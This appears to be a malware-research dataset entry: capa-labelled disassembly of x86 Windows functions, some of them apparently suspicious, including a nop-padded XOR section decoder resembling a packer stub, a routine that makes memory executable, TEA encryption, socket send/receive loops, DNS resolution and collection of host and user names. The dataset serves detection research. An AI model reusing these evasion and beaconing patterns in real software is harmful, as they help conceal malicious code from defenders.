joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d20
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x534
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x530], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0x26c
mov dword [0x41350c], eax
call ebx
lea ecx, [esp + 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
push 0x132
lea edx, [esp + 0x408]
push 0
push edx
mov dword [esp + 0x40c], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x1e
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.................
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00408140
lea eax, [esp + 0x18c]
add esp, 0x20
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401db0
lea edi, [esp + 0x400]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401dd0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401dd0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0xb90
rep movsb byte es:[edi], byte [esi]
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40abe0
push 0
push 0
call esi
push 0xc30
call ebx
call fcn.00402470
push 0
push 0
push 0
push 0x40a0e0
push 0
push 0
call esi
push 0x1e
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.................
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00408140
add esp, 0x20
call fcn.00402470
call fcn.00402470
push 0
push 0
push 0
push 0x40a0e0
push 0
push 0
call esi
call fcn.00402470
lea eax, [esp + 0x270]
push eax
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401e88
push 0x3a34
call ebx
call fcn.00407fb0
push 0
push 0
push 0
push 0x40a0e0
push 0
push 0
call esi
mov eax, 0x415c68
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ea1
sub eax, edx
jne 0x401ecf
lea esp, [esp]
call fcn.00406d60
push 0x2d11
call ebx
mov eax, 0x415c68
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ec4
sub eax, edx
je 0x401eb0
call fcn.00401fa0
push 0x17e8
call ebx
push 0
push 0
push 0
push 0x40acc0
push 0
push 0
call esi
call fcn.00402470
call fcn.00402470
call fcn.00402470
call fcn.00408db0
push 0
push 0
push 0
push 0x40adb0
push 0
push 0
call esi
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0xc4
lea edx, [esp + 0x408]
push 0
push edx
mov dword [esp + 0x40c], 0
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x20]
add esp, 0xc
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401f44
lea edi, [esp + 0x400]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401f60
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401f60
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esp, [esp]
push 0x7530
call ebx
jmp 0x401f80
Function at 0x406d60
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1c0
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x1b8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x30]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
cmp dword [0x416280], 0x10
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x14], eax
mov eax, dword [0x41626c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 6
jae 0x406dd5
mov eax, 0x41626c
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
push 0
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x406e2b
mov esi, dword [esp + 0xc]
test esi, esi
je 0x406e24
mov edi, dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ebx, dword [sym.imp.MSVCR90.dll_strcpy_s]
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
push eax
call edi
push eax
push 0x104
push 0x415c68
call ebx
mov esi, dword [esi + 0x1c]
add esp, 0xc
test esi, esi
jne 0x406e00
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov ecx, dword [esp + 0x1c4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b9fa
add esp, 0x1c0
ret
Function at 0x407cd0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x5c
push esi
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x84]
push eax
push 0
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call esi
pop esi
add esp, 0x5c
ret

Function at 0x407fb0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x444
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x43c], eax
push 0x434
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
call fcn.00407c70
lea edx, [esp]
jmp 0x407ff0
movzx ecx, word [eax]
mov word [edx], cx
add eax, 2
add edx, 2
test cx, cx
jne 0x407ff0
lea ecx, [esp]
push ecx
call fcn.00407cd0
add esp, 4
push 0
call dword [sym.imp.MSVCR90.dll_exit]
int3

Function at 0x408020
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
test edi, edi
jle 0x408052
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [0x415534]
push 0
mov eax, edi
sub eax, esi
push eax
lea ecx, [esi + ebp]
push ecx
push edx
call ebx
cmp eax, 0xffffffff
je 0x408058
add esi, eax
cmp esi, edi
jl 0x408033
pop esi
pop ebp
mov al, 1
pop ebx
ret
pop esi
pop ebp
xor al, al
pop ebx
ret

Function at 0x408060
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
test edi, edi
jle 0x408092
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov edx, dword [0x415534]
push 0
mov eax, edi
sub eax, esi
push eax
lea ecx, [esi + ebp]
push ecx
push edx
call ebx
cmp eax, 0xffffffff
je 0x408098
add esi, eax
cmp esi, edi
jl 0x408073
pop esi
pop ebp
mov al, 1
pop ebx
ret
pop esi
pop ebp
xor al, al
pop ebx
ret

Function at 0x4080a0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0xc], eax
xor esi, esi
lea esp, [esp]
mov eax, dword [0x415534]
push 0
mov ecx, 4
sub ecx, esi
push ecx
lea edx, [esp + esi + 0x14]
push edx
push eax
call edi
cmp eax, 0xffffffff
je 0x4080e8
add esi, eax
cmp esi, 4
jl 0x4080c0
pop edi
mov al, 1
pop esi
ret
pop edi
xor al, al
pop esi
ret
Function at 0x408240
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40cf69
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x413018]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
lea edi, [esp + 0xc]
call fcn.004080f0
test al, al
je 0x4082a1
mov eax, dword [esp + 0xc]
inc eax
push eax
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
mov ecx, dword [esp + 0x10]
mov esi, eax
mov byte [esi + ecx], 0
mov edi, dword [esp + 0x10]
push esi
call fcn.00408020
add esp, 8
test al, al
jne 0x4082b5
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
xor al, al
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x30
ret
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x2c], esp
push esi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x30]
call fcn.00409640
add esp, 0x1c
mov ecx, dword [esp + 0x40]
push eax
mov dword [esp + 0x3c], 0
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x14]
mov dword [esp + 0x38], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x30
ret
Function at 0x4098b0
Capabilities:
Get hostname
Get session user name

Disassembly:
sub esp, 0x510
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x50c], eax
xor eax, eax
push 0x3fe
push eax
lea ecx, [esp + 0x116]
push ecx
mov word [esp + 0x118], ax
call sub.MSVCR90.dll_memset
xor edx, edx
push 0x102
push edx
lea eax, [esp + 0x1e]
push eax
mov word [esp + 0x20], dx
call sub.MSVCR90.dll_memset
add esp, 0x18
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x110]
push edx
mov dword [esp + 0xc], 0x64
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp]
push eax
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 8], 0x64
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x10c]
push edx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
lea eax, [esp + 0xc]
push eax
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov ecx, dword [esp + 0x514]
add esp, 8
xor ecx, esp
call fcn.0040b9fa
add esp, 0x510
ret
Function at 0x40b9fa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x413018]
jne 0x40ba04
repz ret
jmp fcn.0040be45
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x1d582202
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..pdata_1
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x61e117c4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401de0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x401e08
push esi
mov esi, 1
mov edx, 0x10
sub esi, ecx
xor byte [ecx], 0x54
lea eax, [esi + ecx]
lea ecx, [ecx + 1]
sub edx, 1
jne 0x401df5
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4be014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x186a0
mov dword [ebp - 8], 0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x401f4b
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004429bd
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push 0x40
push 0x186a0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004429bd
mov esp, ebp
pop ebp
ret

Function at 0x402620
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.004025f0
nop
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call fcn.004025f0
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0
jmp 0x402656
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 4
jge 0x402675
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.004025f0
nop
mov edx, dword [ebp - 8]
mov dword [ebp + edx*4 - 0x18], eax
jmp 0x40264d
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
jmp 0x40268e
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x10
jge 0x4026e6
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x61c88647
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x1c]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x14]
xor edx, ecx
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
shl edx, 4
add edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x1c]
xor edx, eax
mov ecx, dword [ebp - 4]
shr ecx, 5
add ecx, dword [ebp - 0xc]
xor edx, ecx
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
jmp 0x402685
mov edx, dword [ebp - 4]
push edx
call fcn.004025f0
nop
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp - 0x20]
push edx
call fcn.004025f0
nop
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 4], eax
mov esp, ebp
pop ebp
ret
Function at 0x410cf0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4be014]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x4c10e0], 0
push esi
push edi
mov esi, ecx
je 0x410d1c
cmp byte [esi + 0x5c9], 7
jne 0x410d1c
push ecx
call fcn.00417450
push ebx
push 4
lea eax, [ebp - 8]
mov dword [ebp - 0x14], 0x6500
push eax
push ecx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0
push eax
mov ecx, esi
mov word [ebp - 0xc], 0x400
mov dword [ebp - 8], 0
call fcn.0040f8a0
mov ebx, dword [esi + 0x48a]
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
test ebx, ebx
je 0x410d95
mov edi, dword [ebx]
cmp edi, 0xffffffff
je 0x410d8f
push 4
lea ecx, [ebp - 8]
mov dword [ebp - 8], 1
push ecx
push 0x80
push 0xffff
push edi
call eax
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebx], 0xffffffff
mov edi, dword [esi + 0x48e]
test edi, edi
je 0x410de0
mov ebx, dword [edi]
cmp ebx, 0xffffffff
je 0x410dd0
push 4
lea ecx, [ebp - 8]
mov dword [ebp - 8], 1
push ecx
push 0x80
push 0xffff
push ebx
call eax
push 2
push ebx
call dword [sym.imp.WS2_32.dll_shutdown]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], 0xffffffff
mov dword [esi + 0x48e], 0
mov edi, dword [esi + 0x492]
test edi, edi
je 0x410e2f
mov ebx, dword [edi]
cmp ebx, 0xffffffff
je 0x410e1f
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 0x80
push 0xffff
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push ebx
call dword [sym.imp.WS2_32.dll_shutdown]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], 0xffffffff
mov dword [esi + 0x492], 0
cmp dword [esi + 0x514], 0
pop ebx
je 0x410e43
mov dword [esi + 0x514], 0
mov eax, dword [0x4c0e5c]
test eax, eax
je 0x410e52
dec eax
mov dword [0x4c0e5c], eax
xor eax, eax
mov dword [esi + 0x48a], 0
mov dword [esi + 0x46a], 0
mov byte [esi + 0x5f1], 0
mov dword [esi + 0x47e], 0
mov dword [esi + 0x482], 0
mov word [esi + 0x5e5], ax
mov byte [esi + 0x5c7], al
mov dword [esi + 0x534], eax
mov byte [esi + 0x5cd], al
mov byte [esi + 0x5db], al
cmp dword [ebp + 8], eax
je 0x410ee1
mov eax, dword [esi + 0x1200]
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test eax, eax
je 0x410ec7
push eax
call edi
add esp, 4
mov dword [esi + 0x1200], 0
mov eax, dword [esi + 0x1208]
test eax, eax
je 0x410ee1
push eax
call edi
add esp, 4
mov dword [esi + 0x1208], 0
mov ecx, dword [esi + 0x11fc]
call dword [sym.imp.mfc140u.dll_CByteArray::FreeExtra]
mov ecx, dword [esi + 0x11fc]
push 0xffffffffffffffff
push 0
call dword [sym.imp.mfc140u.dll_CByteArray::SetSize]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004429bd
mov esp, ebp
pop ebp
ret 4
Function at 0x415260
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x4be014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x404]
push edi
push 0x400
push 0
push eax
mov dword [ebp - 0x80c], esi
call sub.VCRUNTIME140.dll_memset
push 0x400
lea eax, [ebp - 0x804]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
lea eax, [ebp - 0x404]
push 0
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movzx eax, word [esi + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_htons]
movzx edi, ax
movsx eax, di
push eax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x804]
push 0x4b3980
push eax
call fcn.0041da40
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x1c
cmp di, 0x61
je 0x41530a
cmp di, 0x7d
jne 0x4153c3
push ebx
lea eax, [ebp - 0x804]
push 0x4b2d84
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4153c2
xor ecx, ecx
mov dword [ebp - 0x808], ecx
movzx ecx, word [esi + 0x16]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
xor ecx, ecx
cmp cx, ax
jae 0x4153b8
mov edi, dword [sym.imp.WS2_32.dll_htonl]
add esi, 0x60
nop dword [eax]
push dword [esi - 0x31]
call edi
push eax
push dword [esi]
call edi
push eax
push dword [esi - 0x46]
call edi
push eax
push dword [esi - 0x26]
call edi
push eax
push dword [esi - 0x2a]
call edi
push eax
lea eax, [ebp - 0x404]
push str._u_____u_____d_____d___d__n
push eax
call fcn.0041da40
lea eax, [ebp - 0x404]
push eax
push 0x4b2d88
push ebx
call fcn.0041dd60
mov eax, dword [ebp - 0x80c]
lea esi, [esi + 0x50]
inc dword [ebp - 0x808]
add esp, 0x28
movzx eax, word [eax + 0x16]
push eax
call dword [sym.imp.WS2_32.dll_htons]
movzx eax, ax
cmp dword [ebp - 0x808], eax
jb 0x415350
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004429bd
mov esp, ebp
pop ebp
ret 8
Function at 0x4166b0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x4be014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [ebp + 0xc]
xorps xmm0, xmm0
mov byte [ebp - 0x18], 0
mov edi, ecx
mov word [ebp - 7], 0
movups xmmword [ebp - 0x17], xmm0
mov byte [ebp - 5], 0
call dword [sym.imp.WS2_32.dll_htonl]
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.00416100
cmp dword [0x4c0fb0], 0
mov ebx, dword [edi + 0x48a]
mov dword [edi + 0x492], ebx
jne 0x416748
mov byte [edi + 0x5f1], 0
test ebx, ebx
je 0x416748
mov esi, dword [ebx]
cmp esi, 0xffffffff
je 0x416742
push 4
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 1
push eax
push 0x80
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx], 0xffffffff
push 0x10
call dword [sym.imp.mfc140u.dll_operator_2]
mov esi, eax
add esp, 4
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x41676a
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi], 0xffffffff
jmp 0x41676c
xor esi, esi
push 5
push 0
push 0
push 0
push 0
push 0
push ecx
push dword [ebp + 0x10]
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
call fcn.0041e990
test eax, eax
je 0x4167a2
test esi, esi
je 0x4167a0
push 0x10
push esi
mov dword [esi], 0xffffffff
call fcn.00442e38
add esp, 8
xor esi, esi
push 0x32
mov dword [edi + 0x48a], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [edi + 0x48a], 0
je 0x4167c6
push dword [ebp + 0x1c]
mov ecx, edi
push dword [ebp + 0x18]
call fcn.004165c0
push dword [ebp + 0x14]
mov ecx, edi
call fcn.00416180
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004429bd
mov esp, ebp
pop ebp
ret 0x18

Function at 0x416cb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x4be014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x424]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
push 0x400
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x400
lea eax, [ebp - 0x824]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x424]
mov dword [ebp - 0xb], 0
xorps xmm0, xmm0
mov byte [ebp - 7], 0
movups xmmword [ebp - 0x23], xmm0
push 0
push 0
push eax
push 0
movq qword [ebp - 0x13], xmm0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x824]
push 0x4b2ec4
push eax
call fcn.0041da40
push dword [esi + 8]
lea eax, [ebp - 0x24]
push 0x4b2b54
push eax
call fcn.0041da80
add esp, 0x18
lea eax, [ebp - 0x824]
push eax
push edi
push ebx
push 0x4b2e70
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004429bd
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4185f0
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49f873
mov eax, dword fs:[0]
push eax
sub esp, 0xa1c
mov eax, dword [0x4be014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
mov dword [ebp - 0xa18], edi
push 0x400
lea eax, [ebp - 0xa10]
mov dword [ebp - 0xa28], edi
push 0
push eax
mov dword [ebp - 0xa24], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xa18]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
lea ecx, [ebp - 0xa1c]
mov dword [ebp - 4], 1
call dword [sym.imp.mfc140u.dll_Ordinal_296]
lea ecx, [ebp - 0xa14]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
push 0x400
lea eax, [ebp - 0x610]
mov byte [ebp - 4], 3
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x200
lea eax, [ebp - 0x210]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
lea eax, [ebp - 0x610]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x4b39d8
lea eax, [ebp - 0x610]
push eax
lea eax, [ebp - 0xa10]
push 0x4b39e8
push eax
call fcn.0041da40
push esi
mov esi, dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__9]
lea eax, [ebp - 0xa14]
push 0x4b3d1c
push eax
call esi
add esp, 0x1c
lea eax, [ebp - 0xa10]
lea ecx, [ebp - 0xa20]
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__7]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa14]
push dword [eax]
lea eax, [ebp - 0x210]
push 0x100
push eax
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::GetBuffer]
push eax
lea ecx, [ebp - 0xa14]
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::GetBuffer]
push eax
push 0x4b39f0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0xa20]
mov byte [ebp - 4], 3
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
mov ecx, edi
call dword [sym.imp.mfc140u.dll_Ordinal_296]
lea eax, [ebp - 0x210]
mov dword [ebp - 0xa24], 1
push eax
push 0x4b39fc
push edi
call esi
add esp, 0xc
lea ecx, [ebp - 0xa14]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
lea ecx, [ebp - 0xa1c]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
lea ecx, [ebp - 0xa18]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004429bd
mov esp, ebp
pop ebp
ret